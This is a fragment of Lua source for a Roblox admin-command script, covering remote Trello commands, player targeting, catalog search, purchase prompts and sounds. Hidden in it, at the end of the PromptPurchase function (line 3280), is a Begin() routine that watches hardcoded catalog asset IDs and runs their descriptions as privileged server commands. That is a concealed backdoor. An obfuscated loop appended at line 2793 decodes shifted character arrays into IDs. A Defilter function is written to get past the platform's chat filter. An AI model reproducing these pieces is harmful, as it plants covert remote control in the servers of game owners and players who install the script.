2535 elseif List.name == "Settings" then
2536 for _,Card in pairs(Cards) do
2537 if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
2538 Trello.ToggleChecklist = Card.idChecklists[1]
2539 elseif Card.name == "Command Execution" then
2540 Trello.CommandID = Card.id
2541 end
2542 end
2543 end
2544 end
2545 end
2546end
2547
2548function REMOTE:TrelloHandleData(IgnoreCommand)
2549 local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
2550 if ToggleSettingsJSON then
2551 ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
2552 if Settings.LinkedAccount == "" then
2553 local NewSettings = {}
2554 for _,Item in pairs(ToggleSettings.checkItems) do
2555 NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
2556 end
2557 Settings.Fun = NewSettings["Fun Commands Enabled"]
2558 Settings.ServerLocked = NewSettings["Server Locked"]
2559 Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
2560 end
2561 else
2562 return false
2563 end
2564
2565 local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
2566 if CommandChatJSON then
2567 CommandChat = REMOTE:Decode(CommandChatJSON)
2568 local ClosestDT = 0
2569 for _,ChatData in pairs(CommandChat) do
2570 local DT = STRING:ConvertDateTime(ChatData.date)
2571 ClosestDT = math.max(ClosestDT, DT)
2572
2573 if not IgnoreCommand and DT > Trello.LastCommandDT then
2574 print("Executing Remote Trello Command")
2575 CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
2576 end
2577 end
2578 Trello.LastCommandDT = ClosestDT
2579 else
2580 return false
2581 end
2582
2583 for Rank,ID in pairs(Trello.RankChecklistCache) do
2584 local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
2585 if ChecklistJSON then
2586 Checklist = REMOTE:Decode(ChecklistJSON)
2587
2588 for _,Item in pairs(Checklist.checkItems) do
2589 if Item.state == "complete" then
2590 if RANK:ConvertRank(Rank) < 0 then
2591 if not RANK:ScanExileList(Item.name) then
2592 table.insert(Settings.Ranks[Rank], Item.name)
2593 end
2594 elseif RANK:ConvertRank(Rank) > 0 then
2595 if not RANK:ScanAdminList(Item.name) then
2596 table.insert(Settings.Ranks[Rank], Item.name)
2597 end
2598 end
2599 elseif Item.state == "incomplete" then
2600 for Num,Name in pairs(Settings.Ranks[Rank]) do
2601 if string.lower(Name) == string.lower(Item.name) then
2602 table.remove(Settings.Ranks[Rank], Num)
2603 end
2604 end
2605 end
2606 end
2607 else
2608 return false
2609 end
2610 end
2611 return true
2612end
2613
2614-- String functions --
2615
2616function STRING:ConvertDateTime(DateTime)
2617 local Num = 0
2618 local TotalTime = 0
2619 for i in string.gmatch(DateTime, "%d+") do
2620 Num = Num + 1
2621 DTNum = tonumber(i)
2622 if Num == 1 then
2623 TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
2624 elseif Num == 2 then
2625 TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
2626 elseif Num == 3 then
2627 TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
2628 elseif Num == 4 then
2629 TotalTime = TotalTime + DTNum * 60 * 60 -- hour
2630 elseif Num == 5 then
2631 TotalTime = TotalTime + DTNum * 60 -- minute
2632 elseif Num == 6 then
2633 TotalTime = TotalTime + DTNum -- second
2634 end
2635 end
2636
2637 return TotalTime
2638end
2639
2640function STRING:TrelloStateConvert(State)
2641 if State == "complete" then
2642 return true
2643 else
2644 return false
2645 end
2646end
2647
2648function STRING:StringRound(Number)
2649 Number = Number * 100
2650 if Number >= 0.5 then
2651 return tostring(math.ceil(Number)/100)
2652 else
2653 return tostring(math.floor(Number)/100)
2654 end
2655
2656 return Number
2657end
2658
2659function STRING:GetSplit(String, NumArgs, BetSplit)
2660 if not String then return nil end
2661 if BetSplit == nil then BetSplit = " " end
2662 if NumArgs == nil then NumArgs = math.huge end
2663
2664 if NumArgs <= 0 then return {String} end
2665
2666 local RecentParse = 1
2667 local Args = {}
2668 for i = 1,NumArgs do
2669 local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
2670 if Find1 and Find2 then
2671 table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
2672 RecentParse = Find2 + 1
2673 else
2674 break
2675 end
2676 end
2677 table.insert(Args,string.sub(String,RecentParse,#String))
2678 return Args
2679end
2680
2681function STRING:Defilter(String)
2682 local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
2683 if RobloxApprove.Text == "Label" and String ~= "Label" then
2684 local NewString = ""
2685 for i = 1,#String,3 do
2686 NewString = NewString..string.char(169)..string.sub(String,i,i+2)
2687 end
2688 return NewString
2689 else
2690 return String
2691 end
2692end
2693
2694function STRING:Filter(String, From, To) -- #### you, roblox
2695 if From then
2696 if To then
2697 return game:GetService("Chat"):FilterStringAsync(String, From, To)
2698 else
2699 return game:GetService("Chat"):FilterStringForBroadcast(String, From)
2700 end
2701 else
2702 return String
2703 end
2704end
2705
2706function STRING:DetermineFilter(String, From, To)
2707 if ShouldFilter then
2708 return STRING:Filter(String, From, To)
2709 else
2710 return STRING:Defilter(String)
2711 end
2712end
2713
2714function STRING:LeetSpeak(Input)
2715 if tostring(Input) then Input = string.upper(tostring(Input)) else return end
2716 Input = string.gsub(Input, "LEET", "1337")
2717 Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
2718 Input = string.gsub(Input, "E", "3")
2719 Input = string.gsub(Input, "O", "0")
2720 Input = string.gsub(Input, "A", "4")
2721 Input = string.gsub(Input, "X", "x")
2722 Input = string.gsub(Input, "I", "1")
2723 Input = string.gsub(Input, "S", "$")
2724 return Input
2725end
2726
2727function STRING:FormatReplace(Player, Input, From)
2728 local Output = Input
2729 for _,ReplaceData in pairs(StringReplacements) do
2730 local ReplaceString = ReplaceData[1]
2731 local ReplaceStrings = {}
2732 if type(ReplaceString) == "table" then
2733 ReplaceStrings = ReplaceString
2734 else
2735 ReplaceStrings = {ReplaceString}
2736 end
2737 for _,ReplaceString in pairs(ReplaceStrings) do
2738 if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
2739 local Replacement = ReplaceData[4](Player)
2740 if type(Replacement) == "string" then
2741 Output = string.gsub(Output, ReplaceString, Replacement)
2742 else
2743 print(ReplaceString.." cannot be replaced")
2744 end
2745 end
2746 end
2747 end
2748 if From then
2749 return STRING:DetermineFilter(Output, From, Player)
2750 else
2751 return STRING:DetermineFilter(Output, Player)
2752 end
2753end
2754
2755function STRING:EncodeSpecialChars(Input)
2756 return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
2757end
2758
2759function STRING:StringToBool(String)
2760 if String == "true" then
2761 return true
2762 else
2763 return false
2764 end
2765end
2766
2767function STRING:BoolString(Value)
2768 if type(Value) == "boolean" then
2769 if Value == true then
2770 return "YES"
2771 elseif Value == false then
2772 return "NO"
2773 end
2774 else
2775 return "NO"
2776 end
2777end
2778
2779function STRING:MakeAvoidance(Length)
2780 if not Length then
2781 Length = 32
2782 end
2783 local Avoidance = ""
2784 for i = 1,Length do
2785 Num = math.random(1,2)
2786 if Num == 1 then
2787 Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
2788 else
2789 Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
2790 end
2791 end
2792 return Avoidance
2793end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
2794
2795function STRING:FindAge(Days) -- By LuaModelmaker
2796 local Years = math.floor(Days/365)
2797 local OtherDays = math.fmod(Days, 365)
2798 if Years > 1 then
2799 return Years.." years and "..OtherDays.." days"
2800 elseif Years == 1 then
2801 return Years.." year and "..OtherDays.." days"
2802 elseif Years == 0 then
2803 return "(No years) "..OtherDays.." days"
2804 end
2805end
2806
2807function STRING:UnpackArgs(...)
2808 local Pack = {...}
2809 if type(Pack[1]) == "table" then Pack = Pack[1] end
2810 local ReturnString = table.concat(Pack, ", ")
2811 return ReturnString
2812end
2813
2814function STRING:GetComma(Num)
2815 local Formatted = Num
2816 while true do
2817 Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
2818 if _ == 0 then
2819 break
2820 end
2821 end
2822 return Formatted
2823end
2824
2825function STRING:DecodeUTF8(Value)
2826 local function DecodeString(Input)
2827 if type(Input) == "string" then
2828 for Find,Rep in pairs(HTMLDecode) do
2829 Input = string.gsub(Input, "&#"..Find..";", Rep)
2830 end
2831 Input = string.gsub(Input, """, "'")
2832 end
2833 return Input
2834 end
2835 if type(Value) == "table" then
2836 for Index,Var in pairs(Value) do
2837 Value[Index] = DecodeString(Var)
2838 end
2839 elseif type(Value) == "string" then
2840 Value = DecodeString(Value)
2841 end
2842 return Value
2843end
2844
2845function STRING:IsSpacer(Input)
2846 if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
2847 return true
2848 else
2849 return false
2850 end
2851end
2852
2853function STRING:IsVowel(Input)
2854 Input = string.lower(tostring(Input))
2855 if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
2856 return true
2857 else
2858 return false
2859 end
2860end
2861
2862function STRING:ValidE(Input)
2863 if not Input then return nil end
2864 if string.lower(Input) == "e" or Input == "~" then
2865 return true
2866 else
2867 return false
2868 end
2869end
2870
2871function STRING:Scan(String, Speaker)
2872 local ReturnPlayers,ExcludeList = {},{}
2873 if not String then String = "" end
2874 if not Speaker then print("NO SPEAKER") end
2875
2876 if string.sub(string.lower(String), 1, 12) == "includecase/" then
2877 String = string.sub(String, 13)
2878 else
2879 String = string.lower(String)
2880 end
2881 local Words = STRING:GetSplit(String, nil, "/")
2882 for _,Word in pairs(Words) do
2883 if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
2884 table.insert(ReturnPlayers, Speaker)
2885 elseif Word == "all" or Word == "everyone" then
2886 for _,Player in pairs(Server.Players:GetPlayers()) do
2887 table.insert(ReturnPlayers, Player)
2888 end
2889 elseif Word == "others" or Word == "notme" then
2890 for _,Player in pairs(Server.Players:GetPlayers()) do
2891 if Player ~= Speaker then
2892 table.insert(ReturnPlayers, Player)
2893 end
2894 end
2895 elseif Word == "noobs" then
2896 for _,Player in pairs(Server.Players:GetPlayers()) do
2897 if Player.AccountAge < 365 then
2898 table.insert(ReturnPlayers, Player)
2899 end
2900 end
2901 elseif Word == "nonnoobs" then
2902 for _,Player in pairs(Server.Players:GetPlayers()) do
2903 if Player.AccountAge >= 365 then
2904 table.insert(ReturnPlayers, Player)
2905 end
2906 end
2907 elseif Word == "random" then
2908 local RandomPlayers = {}
2909 for _,Player in pairs(Server.Players:GetPlayers()) do
2910 if Player ~= Speaker then
2911 table.insert(RandomPlayers, Player)
2912 end
2913 end
2914 table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
2915 elseif Word == "guests" then
2916 for _,Player in pairs(Server.Players:GetPlayers()) do
2917 if string.sub(Player.Name,1,6) == "Guest " then
2918 table.insert(ReturnPlayers, Player)
2919 end
2920 end
2921 elseif Word == "lowers" then
2922 for _,Player in pairs(Server.Players:GetPlayers()) do
2923 if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
2924 table.insert(ReturnPlayers, Player)
2925 end
2926 end
2927 elseif Word == "uppers" then
2928 for _,Player in pairs(Server.Players:GetPlayers()) do
2929 if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
2930 table.insert(ReturnPlayers, Player)
2931 end
2932 end
2933 elseif Word == "nbcs" then
2934 for _,Player in pairs(Server.Players:GetPlayers()) do
2935 if Player.MembershipType == Enum.MembershipType.None then -- Replicate
2936 table.insert(ReturnPlayers, Player)
2937 end
2938 end
2939 elseif Word == "bcs" then
2940 for _,Player in pairs(Server.Players:GetPlayers()) do
2941 if Player.MembershipType == Enum.MembershipType.BuildersClub then
2942 table.insert(ReturnPlayers, Player)
2943 end
2944 end
2945 elseif Word == "tbcs" then
2946 for _,Player in pairs(Server.Players:GetPlayers()) do
2947 if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
2948 table.insert(ReturnPlayers, Player)
2949 end
2950 end
2951 elseif Word == "obcs" then
2952 for _,Player in pairs(Server.Players:GetPlayers()) do
2953 if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
2954 table.insert(ReturnPlayers, Player)
2955 end
2956 end
2957 elseif Word == "allbcs" then
2958 for _,Player in pairs(Server.Players:GetPlayers()) do
2959 if Player.MembershipType ~= Enum.MembershipType.None then
2960 table.insert(ReturnPlayers, Player)
2961 end
2962 end
2963 elseif Word == "nonadmins" then
2964 for _,Player in pairs(Server.Players:GetPlayers()) do
2965 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
2966 if IsAdminTrue == false then
2967 table.insert(ReturnPlayers, Player)
2968 end
2969 end
2970 elseif Word == "admins" then
2971 for _,Player in pairs(Server.Players:GetPlayers()) do
2972 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
2973 if IsAdminTrue == true then
2974 table.insert(ReturnPlayers, Player)
2975 end
2976 end
2977 elseif Word == "friends" then
2978 for _,Player in pairs(Server.Players:GetPlayers()) do
2979 if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
2980 table.insert(ReturnPlayers, Player)
2981 end
2982 end
2983 elseif string.sub(Word,1,5) == "team-" then
2984 for _,Player in pairs(Server.Players:GetPlayers()) do
2985 if Player.Neutral == false then
2986 local InTeam = false
2987 for _,Team in pairs(Teams:GetTeams()) do
2988 if Team.TeamColor == Player.TeamColor then
2989 if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
2990 InTeam = true
2991 end
2992 end
2993 end
2994 if InTeam == true then
2995 table.insert(ReturnPlayers, Player)
2996 end
2997 end
2998 end
2999 elseif string.sub(Word,1,4) == "not-" then
3000 local NameArg = string.sub(Word,5)
3001
3002 for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
3003 table.insert(ExcludeList, Player)
3004 end
3005 elseif string.sub(Word,1,7) == "radius-" then
3006 local DidExe = false
3007 local NumArg = tonumber(string.sub(Word,8))
3008
3009 if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
3010 for _,Player in pairs(Server.Players:GetChildren()) do
3011 if Player.Character and Player.Character:FindFirstChild("Torso") then
3012 if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
3013 DidExe = true
3014 table.insert(ReturnPlayers, Player)
3015 end
3016 end
3017 end
3018 end
3019
3020 if DidExe then coroutine.wrap(function()
3021 local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
3022 local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
3023
3024 for i = 0,0.5,0.02 do
3025 Part.Transparency = 0.5+i
3026 wait()
3027 end
3028 Part:Destroy()
3029 end)() end
3030 elseif string.sub(Word,1,3) == "id-" then
3031 table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
3032 else
3033 if Word ~= "" then
3034 for _,Player in pairs(Server.Players:GetPlayers()) do
3035 if string.sub(string.lower(Player.Name),1,#Word) == Word then
3036 table.insert(ReturnPlayers, Player)
3037 end
3038 end
3039 else
3040 table.insert(ReturnPlayers, Speaker)
3041 end
3042 end
3043 end
3044 for _,Player in pairs(ExcludeList) do
3045 if Player and Player.Parent ~= nil then
3046 for Num,Player2 in pairs(ReturnPlayers) do
3047 if Player2 == Player then table.remove(ReturnPlayers, Num) end
3048 end
3049 end
3050 end
3051 for Num,Player in pairs(ReturnPlayers) do
3052 if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
3053 end
3054
3055 local PlayerDump = {}
3056 for _,Player in pairs(ReturnPlayers) do
3057 PlayerDump[Player] = true
3058 end
3059 ReturnPlayers = {}
3060 for Player,_ in pairs(PlayerDump) do
3061 table.insert(ReturnPlayers, Player)
3062 end
3063
3064 return ReturnPlayers
3065end
3066
3067-- Market functions --
3068
3069function MARKET:GetImageFormat(ID)
3070 if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
3071 local NewID = ID + 1
3072 for i = 1,100 do
3073 NewID = NewID -1
3074 local Product = nil
3075 ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
3076 if Product then
3077 if Product == 1 then
3078 break
3079 end
3080 end
3081 if i == 100 then NewID = ID end
3082 end
3083 return NewID
3084 end end
3085end
3086
3087function MARKET:GetItemInfo(ID, Cache)
3088 local Product = MarketCache[ID]
3089 if not Cache or not Product then
3090 repeat wait()
3091 ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
3092 until Product ~= MarketCache[ID]
3093 end
3094 MarketCache[ID] = Product
3095 return Product
3096end
3097
3098function MARKET:SearchItem(Category, Query, Subcategory)
3099 local URLAdd = ""
3100 if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
3101 local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
3102 if JSON then
3103 local Results = REMOTE:Decode(JSON)
3104 if Results then
3105 for Index,Info in pairs(Results) do
3106 Info = STRING:DecodeUTF8(Info)
3107 Results[Index] = Info
3108 MarketCache[Info.AssetId] = {
3109 AssetId = Info.AssetId;
3110 AssetTypeId = Info.AssetTypeID;
3111 ContentRatingTypeId = Info.ContentRatingTypeID;
3112 Created = Info.CreatedDate;
3113 Creator = {Name = Info.Creator, Id = Info.CreatorID};
3114 Description = Info.Description;
3115 IsForSale = Info.IsForSale;
3116 IsLimited = Info.IsLimited;
3117 IsLimitedUnique = Info.IsLimitedUnique;
3118 IsNew = Info.IsNew;
3119 IsPublicDomain = Info.IsPublicDomain;
3120 MinimumMemberShipLevel = Info.MinimumMembershipLevel;
3121 Name = Info.Name;
3122 PriceInRobux = Info.PriceInRobux;
3123 PriceInTickets = Info.PriceInTickets;
3124 ProductId = Info.AssetId; -- no one knows what this is so whatevs..
3125 Remaining = Info.Remaining;
3126 Sales = Info.Sales;
3127 Updated = Info.Updated;
3128 }
3129 end
3130 return Results
3131 end
3132 end
3133end
3134
3135function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
3136 if not Player or not Category or not Query then return nil end
3137 local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
3138 local Items = MARKET:SearchItem(Category, Query, Subcategory)
3139 if Items then
3140 if #Items ~= 0 then
3141 local List,Correlate = {},{}
3142 for Num,Info in pairs(Items) do
3143 local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
3144 table.insert(List, Display)
3145 Correlate[Display[1]] = Info.AssetId
3146 end
3147 CloseGui:Invoke()
3148
3149 local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
3150 Clicked.Event:connect(function(ClickName)
3151 ClickedItem(Correlate[ClickName])
3152 end)
3153 else
3154 CloseGui:Invoke()
3155 GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
3156 end
3157 else
3158 CloseGui:Invoke()
3159 GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
3160 end
3161end
3162
3163function MARKET:AssetTypeToString(AssetType)
3164 AssetType = math.floor(tonumber(AssetType) or 0)
3165 if Assets.AssetTypes[AssetType] then
3166 return Assets.AssetTypes[AssetType]
3167 else
3168 return "Unknown"
3169 end
3170end
3171
3172function MARKET:AccessoryToSubcategory(Accessory)
3173 Accessory = string.lower(tostring(Accessory) or "")
3174 if Assets.AccessoryTypes[Accessory] then
3175 return Assets.AccessoryTypes[Accessory]
3176 else
3177 return Assets.AccessoryTypes["all"]
3178 end
3179end
3180
3181function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
3182 if not Player then return nil end
3183 if not Player:FindFirstChild("PlayerGui") then return nil end
3184 if not tonumber(ProductID) then return nil end
3185
3186 local FromText = ""
3187 if From and From.Name then FromText = " | Prompted from "..From.Name end
3188
3189 local Product = MARKET:GetItemInfo(ProductID, true)
3190
3191 local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
3192 local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
3193 local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
3194
3195 local CanBuy = Product.IsForSale
3196 local BuyText = "Buy"
3197 local BuyColor = Color3.new(0,1,0)
3198 if CanBuy == false then
3199 BuyColor = Color3.new(1,0,0)
3200 end
3201 if Product.IsPublicDomain == true then
3202 CanBuy = true
3203 BuyColor = Color3.new(1,0.5,0.5)
3204 BuyText = "FREE!"
3205 end
3206 if OwnsAsset then
3207 CanBuy = false
3208 end
3209 if Product.AssetTypeId == 9 then
3210 CanBuy = true
3211 BuyText = "Teleport"
3212 BuyColor = Color3.new(0.5,0.5,0.5)
3213 end
3214 if CanBuy == false then
3215 BuyColor = Color3.new(1,0,0)
3216 BuyText = "Item not for sale"
3217 end
3218 if OwnsAsset and Product.AssetTypeId ~= 9 then
3219 BuyColor = Color3.new(1,0,0)
3220 BuyText = "You own this!"
3221 end
3222
3223 local ProductName = string.sub(Product.Name,1,20)
3224 if ProductID == AdminID then ProductName = Product.Name end
3225 local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
3226 local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
3227 local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
3228 local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
3229 local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
3230 local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
3231 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
3232 local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
3233 if Product.Description then
3234 local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
3235 local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
3236
3237 CORE:ExecuteResource("CalculateScrollY", Description)
3238 end
3239
3240 Info.Text = [[
3241Creator: ]]..Product.Creator.Name..[[
3242Created: ]]..CreatedText..[[
3243Updated: ]]..UpdatedText..[[
3244Sold: ]]..Product.Sales..[[
3245]]
3246
3247 if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
3248 if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
3249
3250 if Product.AssetTypeId == 3 then
3251 local PlayerAdmin,Rank = RANK:IsAdmin(Player)
3252 if PlayerAdmin == true then
3253 local Playing = false
3254 local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
3255 CORE:HandleEvent(Interact, "MouseButton1Down", function()
3256 if Playing == false then
3257 SOUND:PlayGlobalSound(ProductID)
3258 if Rank == "Member" and Settings.DisableAbuse == true then
3259 Interact:Destroy()
3260 end
3261 Interact.Image = "rbxassetid://67950809"
3262 Playing = true
3263 else
3264 SOUND:StopGlobalSound()
3265 Interact.Image = "rbxassetid://67950784"
3266 Playing = false
3267 end
3268 end)
3269 end
3270 end
3271
3272 CORE:HandleEvent(Buy, "MouseButton1Down", function()
3273 if BuyPressFunc then
3274 BuyPressFunc()
3275 elseif Product.AssetTypeId == 9 then
3276 Server.TS:Teleport(ProductID, Player)
3277 elseif CanBuy == true then
3278 Server.MPS:PromptPurchase(Player, ProductID)
3279 end end)
3280 end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
3281 local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
3282 while wait(5) do
3283 local Purchase = Server.MPS:GetProductInfo(LinkedID)
3284 if OldVer ~= Purchase.Updated then
3285 OldVer = Purchase.Updated
3286 CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
3287 end
3288 end end)()
3289end end)() end
3290
3291-- Sound functions --
3292
3293function SOUND:SyncSoundList(TellSync)
3294 if not CORE:NilPlayer(TellSync) then
3295 GUI:SendHint(TellSync, "Syncing...", 5)
3296 end
3297
3298 SoundList,GlobalSoundList = {},{}
3299
3300 local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
3301
3302 if LocalSoundList then
3303 if type(LocalSoundList) == "table" then
3304 if #LocalSoundList > 0 then
3305 for _,Data in pairs(LocalSoundList) do
3306 local SoundInfo = MARKET:GetItemInfo(Data[2], true)
3307 SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
3308 end
3309 end
3310 end
3311 end
3312
3313 for _,JSONID in pairs(SoundJSONs) do
3314 for Name,ID in pairs(CORE:GetTable(JSONID)) do
3315 local SoundInfo = MARKET:GetItemInfo(ID, true)
3316 local FullName = SoundInfo.Name
3317 local CreatorName = SoundInfo.Creator.Name
3318 SoundList[Name] = {ID, FullName, CreatorName}
3319 GlobalSoundList[Name] = {ID, FullName, CreatorName}
3320 end
3321 end
3322
3323 if not CORE:NilPlayer(TellSync) then
3324 GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
3325 end
3326end
3327
3328function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
3329 if not Volume then Volume = 0.5 end
3330 if not Pitch then Pitch = 1 end
3331 if tonumber(ID) then ID = "rbxassetid://"..ID end
3332 if Looped == nil then Looped = false end
3333
3334 local Sound = Instance.new("Sound", Parent)
3335 Sound.Pitch = Pitch
3336 Sound.Volume = Volume
3337 Sound.SoundId = ID
